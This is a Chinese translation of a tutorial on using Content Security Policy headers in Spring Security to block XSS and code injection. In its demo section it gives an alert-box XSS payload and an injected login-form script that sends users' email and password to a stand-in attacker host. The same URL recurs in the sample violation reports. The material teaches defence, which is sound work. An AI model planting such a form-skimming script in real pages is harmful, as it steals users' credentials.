2. 内容安全策略 (CSP)

内容安全策略 (CSP) 是一个 HTTP 响应头,它能显著减少 XSS点击劫持 等代码注入攻击,在现代浏览器中广泛支持。

Web 服务器通过 Content-Security-Policy 头指定浏览器可渲染的资源白名单。这些资源可以是任何浏览器渲染内容,例如 CSS、JavaScript、图片等。

该头部的语法格式为:

Content-Security-Policy: <指令>; <指令>; <指令> ; ...

此外,我们还可以将策略设置为 HTML 页面的 <meta> 标签:

<meta http-equiv="Content-Security-Policy" content="<指令>;<指令>;<指令>; ...">

每个指令包含一个键和多个值,多个指令间用分号 (;) 分隔:

Content-Security-Policy: script-src 'self' https://baeldung.com; style-src 'self';

此处有两个指令(script-srcstyle-src),其中 script-src 指令有两个值('self'https://baeldung.com)。

3. 漏洞演示

让我们看看 XSS 和代码注入漏洞可能造成的严重后果。

3.1. 登录表单

Web 应用中,会话超时通常会重定向用户到登录页。标准登录表单包含用户名/密码字段和提交按钮:

<span> 会话超时,请重新登录。</span>
<form id="login" action="/login">
    <input type="email" class="form-control" id="email">
    <input type="password" class="form-control" id="password">
    <button type="submit">登录</button>
</form>

3.2. 代码注入

攻击者可通过表单字段注入恶意代码。例如在注册表单的用户名字段输入:<script>alert("恶意代码执行了")</script>。当表单回显用户名时,脚本将被执行(此处弹出警告框)。更危险的是,攻击者可能加载外部脚本造成更大破坏。

类似地,若表单字段缺乏验证,攻击者可向 DOM(文档对象模型) 注入恶意 JavaScript:

<span> 会话超时,请重新登录。</span>
<form id="login" action="/login">
    <input type="email" class="form-control" id="email">
    <input type="password" class="form-control" id="password">
    <button type="submit">登录</button> 
</form>
<script>
    let form= document.forms.login;
    form.action="https://youaredoomed.com:9090/collect?u="+document.getElementById('email').value
      +"&p="+document.getElementById('password').value;
</script>

这段注入的脚本会在用户点击 登录 按钮时重定向到恶意站点。当不知情的用户提交表单后,其凭据会被暴露给 https://youaredoomed.com

3.3. 演示效果

实际漏洞演示如下:

  1. 会话超时后,服务器重定向用户到登录页
  2. 恶意脚本拦截表单提交,将用户凭据重定向到攻击者控制的服务器
  3. 攻击者成功窃取用户凭据

4. Spring Security 防御方案

4.1. HTML meta 标签方案

在上述示例中添加 Content-Security-Policy 头可阻止表单提交到恶意服务器。通过 <meta> 标签添加策略:

<meta http-equiv="Content-Security-Policy" content="form-action 'self';">

添加后,浏览器会阻止表单提交到其他源(浏览器控制台会显示 CSP 违规警告)。

尽管 <meta> 标签能缓解 XSS 和代码注入攻击,但功能有限。例如无法用于报告 CSP 违规行为。

因此,我们改用 Spring Security 设置 Content-Security-Policy 头部来增强防御。

4.2. Maven 依赖

首先在 pom.xml 添加 Spring SecuritySpring Web 依赖:

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
</dependency>

4.3. 安全配置

创建 SecurityFilterChain Bean 配置 Spring Security:

@Configuration
public class ContentSecurityPolicySecurityConfiguration {
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http.headers(Customizer.withDefaults())
            .xssProtection(Customizer.withDefaults())
            .contentSecurityPolicy(contentSecurityPolicyConfig -> 
                contentSecurityPolicyConfig.policyDirectives("form-action 'self'"));
        return http.build();
    }
}

此配置将表单提交限制为同源。

4.4. CSP 响应头验证

配置生效后,通过浏览器开发者工具(F12)验证:

  1. 访问 http://localhost:8080
  2. Network 标签页检查响应头,应包含 Content-Security-Policy: form-action 'self'

当用户尝试提交表单到恶意站点时:

  • 浏览器阻止请求并显示 CSP 违规警告
  • 用户凭据不会被泄露

其他常用指令示例:

  • 仅允许同源加载脚本:
    .contentSecurityPolicy("script-src 'self'");
    
  • 允许同源和指定 CDN 加载 CSS:
    .contentSecurityPolicy("style-src 'self' somecdn.css.com");
    
  • 组合多个指令(限制 CSS/JS/表单提交):
    .contentSecurityPolicy("style-src 'self' somecdn.css.com; script-src 'self'; form-action 'self'")
    

4.5. 违规报告

除了拦截恶意内容,服务器还可要求浏览器发送违规报告。通过 report-uri 指令实现:

浏览器会向指定 URL 发送如下格式的 POST 请求:

{
    "csp-report": {
        "blocked-uri": "",
        "document-uri": "",
        "original-policy": "",
        "referrer": "",
        "violated-directive": ""
    }
}

注意:虽然 report-uri 已被 report-to 取代,但多数浏览器尚不支持 report-to,建议同时使用两者。

更新 Spring Security 配置:

String REPORT_TO = "{\"group\":\"csp-violation-report\",\"max_age\":2592000,\"endpoints\":[{\"url\":\"https://localhost:8080/report\"}]}";
http.csrf(AbstractHttpConfigurer::disable)
    .authorizeHttpRequests(auth -> auth.requestMatchers("/**").permitAll())
    .headers(headers -> headers
        .addHeaderWriter(new StaticHeadersWriter("Report-To", REPORT_TO))
        .xssProtection(Customizer.withDefaults())
        .contentSecurityPolicy(csp -> csp.policyDirectives(
            "form-action 'self'; report-uri /report; report-to csp-violation-report"
        ))
    );

当 CSP 违规发生时:

  1. 浏览器阻止请求
  2. /report 端点发送报告(示例日志):
    Report: {"csp-report":{"blocked-uri":"https://youaredoomed.com:9090/collect?u=user@example.com&p=password","document-uri":"https://localhost:8080/","original-policy":"form-action 'self'; report-uri https://localhost:8080/report","referrer":"","violated-directive":"form-action"}}
    
  3. 格式化后的 JSON 报告:
    {
        "csp-report": {
            "blocked-uri": "https://youaredoomed.com:9090/collect?u=user@example.com&p=password",
            "document-uri": "https://localhost:8080/",
            "original-policy": "form-action 'self'; report-uri https://localhost:8080/report",
            "referrer": "",
            "violated-directive": "form-action"
        }
    }
    

5. 总结

本文展示了如何使用内容安全策略 (CSP) 防御点击劫持、代码注入和 XSS 攻击。

虽然 CSP 无法提供 100% 防护,但能显著缓解大多数攻击。需注意:

  • 现代浏览器对 CSP 的支持仍不完善
  • 必须结合安全编码实践(如输入验证/输出编码)
  • 定期审查 CSP 策略避免误拦截

完整源码见 GitHub 仓库


原始标题:Content Security Policy with Spring Security